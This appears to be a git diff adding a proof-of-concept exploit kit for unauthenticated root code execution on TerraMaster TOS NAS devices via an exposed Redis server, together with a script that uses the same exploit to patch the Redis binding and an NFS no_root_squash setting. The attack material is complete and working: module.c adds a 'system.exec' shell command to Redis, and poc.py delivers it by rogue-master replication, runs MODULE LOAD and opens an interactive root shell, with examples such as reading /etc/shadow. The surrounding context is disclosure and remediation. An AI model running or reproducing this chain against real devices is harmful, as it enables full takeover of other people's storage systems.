b/terramaster/patch.py new file mode 100644 index 0000000..bab2c9f --- /dev/null +++ b/terramaster/patch.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +""" +patch.py — Exploit TerraMaster TOS Redis RCE to patch both vulnerabilities. + +Bug 1 (RCE): /etc/init.d/redis is a symlink to /usr/sbin/desh, which runs + /etc/init.d/redis.en — an encrypted script that starts + "redis-server 0.0.0.0:6379", ignoring /etc/redis.conf (which + already has "bind 127.0.0.1"). +Fix: Replace the desh symlink with a proper init script that starts + redis-server with /etc/redis.conf. Ensure daemonize yes is set. + +Bug 2 (LPE): /etc/exports has no_root_squash on NFS exports. +Fix: Replace no_root_squash with root_squash and re-export. + +Usage: + python3 patch.py + python3 patch.py --lhost + python3 patch.py --no-restart +""" + +import argparse +import base64 +import os +import sys + +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) +sys.path.insert(0, os.path.join(SCRIPT_DIR, "rce")) + +import poc +from poc import ( + Progress, deliver_module, redis_load_module, redis_exec, + redis_cmd, info, good, warn, bail, +) + +REDIS_INIT = """\ +#!/bin/sh +# Patched by patch.py — uses /etc/redis.conf instead of hardcoded 0.0.0.0:6379 +DAEMON=/usr/bin/redis-server +CONF=/etc/redis.conf + +case "$1" in + start) + "$DAEMON" "$CONF" + ;; + stop) + redis-cli shutdown nosave 2>/dev/null || killall redis-server 2>/dev/null + ;; + restart|reload) + "$0" stop + sleep 1 + "$0" start + ;; + *) + echo "Usage: $0 {start|stop|restart}" >&2 + exit 1 + ;; +esac +""" + + +def rexec(sock, cmd): + """Execute a shell command on the target via system.exec.""" + return redis_exec(sock, cmd) + + +def write_remote(sock, path, content, mode=None): + """Write a text file on the target via base64-encoded echo.""" + b64 = base64.b64encode(content.encode()).decode() + rexec(sock, f"echo '{b64}' | base64 -d > {path}") + if mode: + rexec(sock, f"chmod {mode} {path}") + + +def patch_redis(sock): + """Replace the desh-encrypted Redis init script with one that honours + /etc/redis.conf, and ensure the config has daemonize yes.""" + + # --- verify the config already binds to localhost --- + bind_line = rexec(sock, "grep '^bind ' /etc/redis.conf") + if "127.0.0.1" not in bind_line: + bail(f"/etc/redis.conf bind is not 127.0.0.1: {bind_line.strip()}") + good(f"redis.conf bind verified: {bind_line.strip()}") + + # --- ensure daemonize yes (stock config ships 'daemonize no') --- + daemonize = rexec(sock, "grep '^daemonize ' /etc/redis.conf") + if "yes" not in daemonize: + info("Setting daemonize yes in /etc/redis.conf") + rexec(sock, "sed -i 's/^daemonize .*/daemonize yes/' /etc/redis.conf") + verify = rexec(sock, "grep '^daemonize ' /etc/redis.conf") + if "yes" not in verify: + rexec(sock, "echo 'daemonize yes' >> /etc/redis.conf") + good("daemonize yes set") + else: + good(f"redis.conf daemonize verified: {daemonize.strip()}") + + # --- safety: confirm init script is the vulnerable desh symlink --- + target = rexec(sock, "readlink /etc/init.d/redis 2>/dev/null || echo NOT_A_SYMLINK") + if "/usr/sbin/desh" not in target: + warn(f"/etc/init.d/redis is not the expected desh symlink ({target.strip()})") + warn("Skipping init script replacement — may already be patched") + return + + # --- replace the symlink with a real init script --- + rexec(sock, "cp -a /etc/init.d/redis /etc/init.d/redis.bak.pre-patch 2>/dev/null; true") + rexec(sock, "rm -f /etc/init.d/redis") + write_remote(sock, "/etc/init.d/redis", REDIS_INIT, mode="755") + + head = rexec(sock, "head -2 /etc/init.d/redis") + if "#!/bin/sh" not in head: + bail("Failed to write /etc/init.d/redis") + good("Patched /etc/init.d/redis — will use /etc/redis.conf on restart") + + +def patch_nfs(sock): + """Replace no_root_squash with root_squash in /etc/exports and re-export.""" + exports = rexec(sock, "cat /etc/exports 2>/dev/null") + if not exports.strip(): + warn("/etc/exports is empty or missing — skipping NFS patch") + return + + if "no_root_squash" not in exports: + warn("no_root_squash not found in /etc/exports — already fixed or not present") + return + + info(f"Current /etc/exports:\n{exports.strip()}") + rexec(sock, "cp /etc/exports /etc/exports.bak.pre-patch") + rexec(sock, "sed -i 's/no_root_squash/root_squash/g' /etc/exports") + + patched = rexec(sock, "cat /etc/exports") + if "no_root_squash" in patched: + bail("sed replacement failed on /etc/exports") + good(f"Patched /etc/exports:\n{patched.strip()}") + + rexec(sock, "exportfs -ra 2>/dev/null; true") + good("NFS re-exported with root_squash") + + +def main(): + parser = argparse.ArgumentParser( + description="Exploit TerraMaster TOS Redis RCE to patch both bugs", + ) + parser.add_argument("host", help="NAS IP address") + parser.add_argument("--lhost", default=None, + help="Attacker IP reachable from target (default: auto)") + parser.add_argument("--no-restart", action="store_true", + help="Skip Redis restart after patching") + args = parser.parse_args() + + poc._progress = Progress(total=8) + + # --- load the .so payload --- + module_so = os.path.join(SCRIPT_DIR, "rce", "module.so") + if not os.path.isfile(module_so): + bail(f"{module_so} not found — run 'make' in rce/") + payload = open(module_so, "rb").read() + info(f"Loaded {module_so} ({len(payload)} bytes)") + + # --- phase 1: exploit the RCE --- + module_path = deliver_module(args.host, payload, lhost=args.lhost) + sock = redis_load_module(args.host, module_path) + + whoami = rexec(sock, "id") + if "uid=0" not in whoami: + bail(f"Not root: {whoami.strip()}") + good(f"Root: {whoami.strip()}") + + # --- phase 2: patch both bugs --- + try: + patch_redis(sock) + patch_nfs(sock) + except SystemExit: + raise + except Exception as e: + warn(f"Patch failed: {e}") + rexec(sock, f"rm -f {module_path}") + try: + redis_cmd(sock, "MODULE", "UNLOAD", "system") + except OSError: + pass + sock.close() + return 1 + + # --- phase 3: cleanup exploit artifacts --- + info("Removing exploit module from disk") + rexec(sock, f"rm -f {module_path}") + + if not args.no_restart: + info("Scheduling Redis restart in 2s") + rexec(sock, "nohup sh -c 'sleep 2; /etc/init.d/redis restart' >/dev/null 2>&1 &") + good("Redis will restart bound to 127.0.0.1 in ~2 seconds") + else: + warn("Skipped restart — run '/etc/init.d/redis restart' to apply Redis bind fix") + + try: + redis_cmd(sock, "MODULE", "UNLOAD", "system") + except (BrokenPipeError, OSError): + pass + try: + sock.close() + except OSError: + pass + + good("Both vulnerabilities patched") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/terramaster/rce/Makefile b/terramaster/rce/Makefile new file mode 100644 index 0000000..cb8ab3a --- /dev/null +++ b/terramaster/rce/Makefile @@ -0,0 +1,12 @@ +CC := aarch64-linux-gnu-gcc +CFLAGS := -shared -fPIC -nostartfiles + +.PHONY: all clean + +all: module.so + +module.so: module.c redismodule.h + $(CC) $(CFLAGS) -o $@ $< + +clean: + rm -f module.so diff --git a/terramaster/rce/module.c b/terramaster/rce/module.c new file mode 100644 index 0000000..67b49e6 --- /dev/null +++ b/terramaster/rce/module.c @@ -0,0 +1,46 @@ +/* + * Minimal Redis module: executes a shell command and returns stdout. + * Loaded via MODULE LOAD over an NFS share to achieve root RCE. + * + * Usage after loading: + * system.exec "id" + * system.exec "cat /etc/shadow" + */ + +#include +#include +#include +#include "redismodule.h" + +static int cmd_exec(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { + if (argc != 2) return RedisModule_WrongArity(ctx); + + size_t len; + const char *cmd = RedisModule_StringPtrLen(argv[1], &len); + + char buf[8192] = {0}; + FILE *fp = popen(cmd, "r"); + if (!fp) + return RedisModule_ReplyWithError(ctx, "ERR popen failed"); + + size_t total = 0; + while (total < sizeof(buf) - 1) { + size_t n = fread(buf + total, 1, sizeof(buf) - 1 - total, fp); + if (n == 0) break; + total += n; + } + pclose(fp); + + return RedisModule_ReplyWithSimpleString(ctx, buf); +} + +int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { + if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) + return REDISMODULE_ERR; + + if (RedisModule_CreateCommand(ctx, "system.exec", cmd_exec, + "write deny-oom", 0, 0, 0) == REDISMODULE_ERR) + return REDISMODULE_ERR; + + return REDISMODULE_OK; +} diff --git a/terramaster/rce/module.so b/terramaster/rce/module.so new file mode 100755 index 0000000..ca3d6ea Binary files /dev/null and b/terramaster/rce/module.so differ diff --git a/terramaster/rce/poc.py b/terramaster/rce/poc.py new file mode 100755 index 0000000..d3f90f5 --- /dev/null +++ b/terramaster/rce/poc.py @@ -0,0 +1,379 @@ +#!/usr/bin/env python3 +""" +TerraMaster TOS Redis unauthenticated root RCE POC + +Exploits Redis 4.0.10 running as root, bound to 0.0.0.0:6379 with no +authentication on TOS3_A1.0 4.2.41 (RTD1296). + +The config file (/etc/redis.conf with "bind 127.0.0.1") is ignored because +the init script starts redis as "redis-server *:6379" without referencing it. + +Attack chain (requires only network access to port 6379): + a) Use CONFIG SET to point dir/dbfilename at a writable location. + b) Use SLAVEOF to make target replicate from a rogue master we emulate. + c) Rogue master sends the compiled Redis module (.so) as the RDB payload. + d) Redis writes the payload to disk verbatim. + e) MODULE LOAD the .so, execute arbitrary commands as root. + +No NFS, SSH, or credentials required — only port 6379. + +Usage: + python3 poc.py # interactive root shell + python3 poc.py --cmd "id" # single command + python3 poc.py --cmd "cat /etc/shadow" +Requires module.so (run `make` to build it). +""" + +import argparse +import os +import random +import socket +import string +import sys +import time + +REDIS_PORT = 6379 +MODULE_DROP_DIR = "/tmp" +SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) + + +# --------------------------------------------------------------------------- +# Progress bar — logs scroll above, bar sticks to the bottom +# --------------------------------------------------------------------------- + +class Progress: + """Single-line progress bar on stderr. Logs print above it.""" + + def __init__(self, total, width=36): + self.total = total + self.width = width + self.step = 0 + self.msg = "" + self.tty = sys.stderr.isatty() + + def update(self, step, msg=""): + self.step = step + self.msg = msg + if self.tty: + self._draw() + + def _draw(self): + filled = int(self.width * self.step / self.total) + bar = "\033[36m" + "━" * filled + "\033[90m" + "╌" * (self.width - filled) + "\033[0m" + pct = self.step * 100 // self.total + sys.stderr.write(f"\033[2K\r {bar} {pct:3d}% {self.msg}") + sys.stderr.flush() + + def clear(self): + if self.tty: + sys.stderr.write("\033[2K\r") + sys.stderr.flush() + + def finish(self): + self.step = self.total + if self.tty: + filled = self.width + bar = "\033[32m" + "━" * filled + "\033[0m" + sys.stderr.write(f"\033[2K\r {bar} 100% done\n") + sys.stderr.flush() + + +_progress = None + + +def _log(prefix, msg): + if _progress: + _progress.clear() + sys.stderr.write(f"{prefix} {msg}\n") + sys.stderr.flush() + if _progress and _progress.step < _progress.total: + _progress._draw() + + +def bail(msg): + if _progress: + _progress.clear() + sys.stderr.write(f"\n\033[31m[FATAL]\033[0m {msg}\n") + sys.exit(1) + + +def info(msg): + _log("\033[90m[*]\033[0m", msg) + + +def good(msg): + _log("\033[32m[+]\033[0m", msg) + + +def warn(msg): + _log("\033[33m[!]\033[0m", msg) + + +# --------------------------------------------------------------------------- +# Redis helpers +# --------------------------------------------------------------------------- + +def redis_connect(host, port=REDIS_PORT, timeout=5): + return socket.create_connection((host, port), timeout=timeout) + + +def redis_cmd(sock, *args): + parts = [f"*{len(args)}\r\n"] + for a in args: + s = str(a) + parts.append(f"${len(s)}\r\n{s}\r\n") + sock.sendall("".join(parts).encode()) + time.sleep(0.3) + data = b"" + sock.settimeout(2) + while True: + try: + chunk = sock.recv(65536) + if not chunk: + break + data += chunk + except socket.timeout: + break + return data.decode(errors="replace") + + +def redis_config_get(sock, key): + resp = redis_cmd(sock, "CONFIG", "GET", key) + lines = resp.split("\r\n") + if len(lines) >= 5: + return lines[4] + return None + + +# --------------------------------------------------------------------------- +# Rogue Redis master (replication payload delivery) +# --------------------------------------------------------------------------- + +def get_local_ip(target_host, target_port=REDIS_PORT): + s = socket.create_connection((target_host, target_port), timeout=5) + ip = s.getsockname()[0] + s.close() + return ip + + +def random_drop_name(): + tag = ''.join(random.choices(string.ascii_lowercase, k=8)) + return f".{tag}.so" + + +def handle_repl_handshake(conn, payload): + """Speak just enough RESP to complete a FULLRESYNC and deliver payload.""" + conn.settimeout(10) + while True: + data = conn.recv(4096) + if not data: + raise ConnectionError("slave disconnected during handshake") + text = data.decode(errors="replace").strip() + if "PSYNC" in text or "SYNC" in text: + info(f" <- {text.splitlines()[0][:60]}") + info(f" -> FULLRESYNC ({len(payload)} bytes)") + conn.sendall(f"+FULLRESYNC {'Z' * 40} 1\r\n".encode()) + conn.sendall(f"${len(payload)}\r\n".encode()) + conn.sendall(payload) + conn.sendall(b"\r\n") + time.sleep(2) + return + elif "PING" in text: + info(" <- PING") + info(" -> PONG") + conn.sendall(b"+PONG\r\n") + else: + first_line = text.splitlines()[0] if text else "(empty)" + info(f" <- {first_line[:60]}") + info(" -> OK") + conn.sendall(b"+OK\r\n") + + +def deliver_module(host, payload_bytes, lhost=None): + """Deliver .so binary to target filesystem via Redis replication.""" + _progress.update(1, "Connecting to Redis") + info(f"Connecting to {host}:{REDIS_PORT}") + sock = redis_connect(host) + drop_name = random_drop_name() + drop_path = f"{MODULE_DROP_DIR}/{drop_name}" + + if lhost is None: + lhost = get_local_ip(host) + + _progress.update(2, "Configuring drop location") + orig_dir = redis_config_get(sock, "dir") + orig_dbfilename = redis_config_get(sock, "dbfilename") + info(f"Saved config: dir={orig_dir} dbfilename={orig_dbfilename}") + + resp = redis_cmd(sock, "CONFIG", "SET", "dir", MODULE_DROP_DIR) + if "+OK" not in resp: + bail(f"CONFIG SET dir failed: {resp.strip()}") + resp = redis_cmd(sock, "CONFIG", "SET", "dbfilename", drop_name) + if "+OK" not in resp: + bail(f"CONFIG SET dbfilename failed: {resp.strip()}") + info(f"Configured drop: dir={MODULE_DROP_DIR} dbfilename={drop_name}") + + _progress.update(3, "Starting rogue master") + listen_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_sock.bind(("0.0.0.0", 0)) + listen_sock.listen(1) + lport = listen_sock.getsockname()[1] + listen_sock.settimeout(15) + info(f"Listening on {lhost}:{lport}") + + _progress.update(4, "Waiting for slave to connect") + info(f"SLAVEOF {lhost} {lport}") + redis_cmd(sock, "SLAVEOF", lhost, str(lport)) + + conn, addr = listen_sock.accept() + info(f"Slave connected from {addr[0]}:{addr[1]}") + + _progress.update(5, "Replication handshake") + handle_repl_handshake(conn, payload_bytes) + conn.close() + listen_sock.close() + good(f"Payload written to {drop_path}") + + _progress.update(6, "Restoring config") + info("SLAVEOF NO ONE") + redis_cmd(sock, "SLAVEOF", "NO", "ONE") + + if orig_dir: + redis_cmd(sock, "CONFIG", "SET", "dir", orig_dir) + if orig_dbfilename: + redis_cmd(sock, "CONFIG", "SET", "dbfilename", orig_dbfilename) + info(f"Restored config: dir={orig_dir} dbfilename={orig_dbfilename}") + + sock.close() + return drop_path + + + +# --------------------------------------------------------------------------- +# Redis RCE via MODULE LOAD +# --------------------------------------------------------------------------- + +def redis_load_module(host, module_path): + """Connect, verify no auth, load module. Returns the live socket.""" + _progress.update(7, "Loading module") + info(f"Connecting to {host}:{REDIS_PORT}") + try: + sock = redis_connect(host) + except (OSError, socket.timeout) as e: + bail(f"Cannot connect to Redis: {e}") + + resp = redis_cmd(sock, "PING") + if "+PONG" not in resp: + bail(f"Redis requires auth or rejected PING: {resp.strip()[:200]}") + good("PONG — no authentication") + + resp = redis_cmd(sock, "INFO", "server") + for key in ("redis_version", "os", "process_id", "tcp_port"): + for line in resp.splitlines(): + if line.startswith(f"{key}:"): + info(f" {line.strip()}") + + info(f"MODULE LOAD {module_path}") + resp = redis_cmd(sock, "MODULE", "LOAD", module_path) + if "ERR" in resp and "already loaded" not in resp.lower(): + bail(f"MODULE LOAD failed: {resp.strip()}") + good("system.exec available") + + _progress.finish() + return sock + + +def redis_exec(sock, cmd): + """Execute a command via system.exec and return output.""" + resp = redis_cmd(sock, "system.exec", cmd) + output = resp.strip() + if output.startswith("+"): + output = output[1:] + return output + + +def redis_cleanup(sock, module_path): + """Remove .so from disk and unload module.""" + try: + redis_exec(sock, f"rm -f {module_path}") + except (BrokenPipeError, OSError): + pass + try: + redis_cmd(sock, "MODULE", "UNLOAD", "system") + except (BrokenPipeError, OSError): + pass + try: + sock.close() + except OSError: + pass + + +# --------------------------------------------------------------------------- +# Interactive shell +# --------------------------------------------------------------------------- + +def shell(sock, host): + """Interactive root shell over Redis system.exec.""" + warn(f"root shell on {host} via Redis — type 'exit' or Ctrl-D to quit") + while True: + try: + cmd = input(f"\x1b[1;31mroot@{host}\x1b[0m# ") + except (EOFError, KeyboardInterrupt): + print() + break + cmd = cmd.strip() + if not cmd: + continue + if cmd in ("exit", "quit"): + break + output = redis_exec(sock, cmd) + if output: + print(output) + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +def main(): + global _progress + + parser = argparse.ArgumentParser( + description="TerraMaster TOS Redis -> unauthenticated root RCE" + ) + parser.add_argument("host", help="NAS IP address") + parser.add_argument("--cmd", default=None, + help="Single command (default: interactive shell)") + parser.add_argument("--lhost", default=None, + help="Attacker IP reachable from target (default: auto)") + args = parser.parse_args() + + _progress = Progress(total=8) + + module_so = os.path.join(SCRIPT_DIR, "module.so") + if not os.path.isfile(module_so): + bail(f"{module_so} not found. Run 'make' to build it.") + payload = open(module_so, "rb").read() + info(f"Loaded {module_so} ({len(payload)} bytes)") + module_on_target = deliver_module(args.host, payload, lhost=args.lhost) + sock = redis_load_module(args.host, module_on_target) + + if args.cmd: + output = redis_exec(sock, args.cmd) + if output: + print(output) + else: + warn("No output.") + else: + shell(sock, args.host) + + info("Cleaning up") + redis_cleanup(sock, module_on_target) + good("Done") + + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/terramaster/rce/redismodule.h b/terramaster/rce/redismodule.h new file mode 100644 index 0000000..4c512cf --- /dev/null +++ b/terramaster/rce/redismodule.h @@ -0,0 +1,405 @@ +#ifndef REDISMODULE_H +#define REDISMODULE_H + +#include +#include +#include + +/* ---------------- Defines common between core and modules --------------- */ + +/* Error status return values. */ +#define REDISMODULE_OK 0 +#define REDISMODULE_ERR 1 + +/* API versions. */ +#define REDISMODULE_APIVER_1 1 + +/* API flags and constants */ +#define REDISMODULE_READ (1<<0) +#define REDISMODULE_WRITE (1<<1) + +#define REDISMODULE_LIST_HEAD 0 +#define REDISMODULE_LIST_TAIL 1 + +/* Key types. */ +#define REDISMODULE_KEYTYPE_EMPTY 0 +#define REDISMODULE_KEYTYPE_STRING 1 +#define REDISMODULE_KEYTYPE_LIST 2 +#define REDISMODULE_KEYTYPE_HASH 3 +#define REDISMODULE_KEYTYPE_SET 4 +#define REDISMODULE_KEYTYPE_ZSET 5 +#define REDISMODULE_KEYTYPE_MODULE 6 + +/* Reply types. */ +#define REDISMODULE_REPLY_UNKNOWN -1 +#define REDISMODULE_REPLY_STRING 0 +#define REDISMODULE_REPLY_ERROR 1 +#define REDISMODULE_REPLY_INTEGER 2 +#define REDISMODULE_REPLY_ARRAY 3 +#define REDISMODULE_REPLY_NULL 4 + +/* Postponed array length. */ +#define REDISMODULE_POSTPONED_ARRAY_LEN -1 + +/* Expire */ +#define REDISMODULE_NO_EXPIRE -1 + +/* Sorted set API flags. */ +#define REDISMODULE_ZADD_XX (1<<0) +#define REDISMODULE_ZADD_NX (1<<1) +#define REDISMODULE_ZADD_ADDED (1<<2) +#define REDISMODULE_ZADD_UPDATED (1<<3) +#define REDISMODULE_ZADD_NOP (1<<4) + +/* Hash API flags. */ +#define REDISMODULE_HASH_NONE 0 +#define REDISMODULE_HASH_NX (1<<0) +#define REDISMODULE_HASH_XX (1<<1) +#define REDISMODULE_HASH_CFIELDS (1<<2) +#define REDISMODULE_HASH_EXISTS (1<<3) + +/* Context Flags: Info about the current context returned by RM_GetContextFlags */ + +/* The command is running in the context of a Lua script */ +#define REDISMODULE_CTX_FLAGS_LUA 0x0001 +/* The command is running inside a Redis transaction */ +#define REDISMODULE_CTX_FLAGS_MULTI 0x0002 +/* The instance is a master */ +#define REDISMODULE_CTX_FLAGS_MASTER 0x0004 +/* The instance is a slave */ +#define REDISMODULE_CTX_FLAGS_SLAVE 0x0008 +/* The instance is read-only (usually meaning it's a slave as well) */ +#define REDISMODULE_CTX_FLAGS_READONLY 0x0010 +/* The instance is running in cluster mode */ +#define REDISMODULE_CTX_FLAGS_CLUSTER 0x0020 +/* The instance has AOF enabled */ +#define REDISMODULE_CTX_FLAGS_AOF 0x0040 // +/* The instance has RDB enabled */ +#define REDISMODULE_CTX_FLAGS_RDB 0x0080 // +/* The instance has Maxmemory set */ +#define REDISMODULE_CTX_FLAGS_MAXMEMORY 0x0100 +/* Maxmemory is set and has an eviction policy that may delete keys */ +#define REDISMODULE_CTX_FLAGS_EVICT 0x0200 + + +#define REDISMODULE_NOTIFY_GENERIC (1<<2) /* g */ +#define REDISMODULE_NOTIFY_STRING (1<<3) /* $ */ +#define REDISMODULE_NOTIFY_LIST (1<<4) /* l */ +#define REDISMODULE_NOTIFY_SET (1<<5) /* s */ +#define REDISMODULE_NOTIFY_HASH (1<<6) /* h */ +#define REDISMODULE_NOTIFY_ZSET (1<<7) /* z */ +#define REDISMODULE_NOTIFY_EXPIRED (1<<8) /* x */ +#define REDISMODULE_NOTIFY_EVICTED (1<<9) /* e */ +#define REDISMODULE_NOTIFY_ALL (REDISMODULE_NOTIFY_GENERIC | REDISMODULE_NOTIFY_STRING | REDISMODULE_NOTIFY_LIST | REDISMODULE_NOTIFY_SET | REDISMODULE_NOTIFY_HASH | REDISMODULE_NOTIFY_ZSET | REDISMODULE_NOTIFY_EXPIRED | REDISMODULE_NOTIFY_EVICTED) /* A */ + + +/* A special pointer that we can use between the core and the module to signal + * field deletion, and that is impossible to be a valid pointer. */ +#define REDISMODULE_HASH_DELETE ((RedisModuleString*)(long)1) + +/* Error messages. */ +#define REDISMODULE_ERRORMSG_WRONGTYPE "WRONGTYPE Operation against a key holding the wrong kind of value" + +#define REDISMODULE_POSITIVE_INFINITE (1.0/0.0) +#define REDISMODULE_NEGATIVE_INFINITE (-1.0/0.0) + +#define REDISMODULE_NOT_USED(V) ((void) V) + +/* ------------------------- End of common defines ------------------------ */ + +#ifndef REDISMODULE_CORE + +typedef long long mstime_t; + +/* Incomplete structures for compiler checks but opaque access. */ +typedef struct RedisModuleCtx RedisModuleCtx; +typedef struct RedisModuleKey RedisModuleKey; +typedef struct RedisModuleString RedisModuleString; +typedef struct RedisModuleCallReply RedisModuleCallReply; +typedef struct RedisModuleIO RedisModuleIO; +typedef struct RedisModuleType RedisModuleType; +typedef struct RedisModuleDigest RedisModuleDigest; +typedef struct RedisModuleBlockedClient RedisModuleBlockedClient; + +typedef int (*RedisModuleCmdFunc) (RedisModuleCtx *ctx, RedisModuleString **argv, int argc); + +typedef int (*RedisModuleNotificationFunc) (RedisModuleCtx *ctx, int type, const char *event, RedisModuleString *key); +typedef void *(*RedisModuleTypeLoadFunc)(RedisModuleIO *rdb, int encver); +typedef void (*RedisModuleTypeSaveFunc)(RedisModuleIO *rdb, void *value); +typedef void (*RedisModuleTypeRewriteFunc)(RedisModuleIO *aof, RedisModuleString *key, void *value); +typedef size_t (*RedisModuleTypeMemUsageFunc)(const void *value); +typedef void (*RedisModuleTypeDigestFunc)(RedisModuleDigest *digest, void *value); +typedef void (*RedisModuleTypeFreeFunc)(void *value); + +#define REDISMODULE_TYPE_METHOD_VERSION 1 +typedef struct RedisModuleTypeMethods { + uint64_t version; + RedisModuleTypeLoadFunc rdb_load; + RedisModuleTypeSaveFunc rdb_save; + RedisModuleTypeRewriteFunc aof_rewrite; + RedisModuleTypeMemUsageFunc mem_usage; + RedisModuleTypeDigestFunc digest; + RedisModuleTypeFreeFunc free; +} RedisModuleTypeMethods; + +#define REDISMODULE_GET_API(name) \ + RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name)) + +#define REDISMODULE_API_FUNC(x) (*x) + + +void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes); +void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes); +void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr); +void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size); +char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str); +int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *); +int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep); +void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver); +int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name); +int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll); +int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid); +void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode); +void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp); +int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp); +size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp); +int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where); +RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...); +const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len); +void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply); +int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply); +long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply); +size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply); +RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...); +void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str); +const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len); +void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d); +int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply); +int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll); +int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d); +void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx); +int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...); +int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx); +const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len); +RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply); +int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key); +int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key); +int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str); +char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode); +int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen); +mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key); +int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire); +int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr); +int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore); +int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score); +int 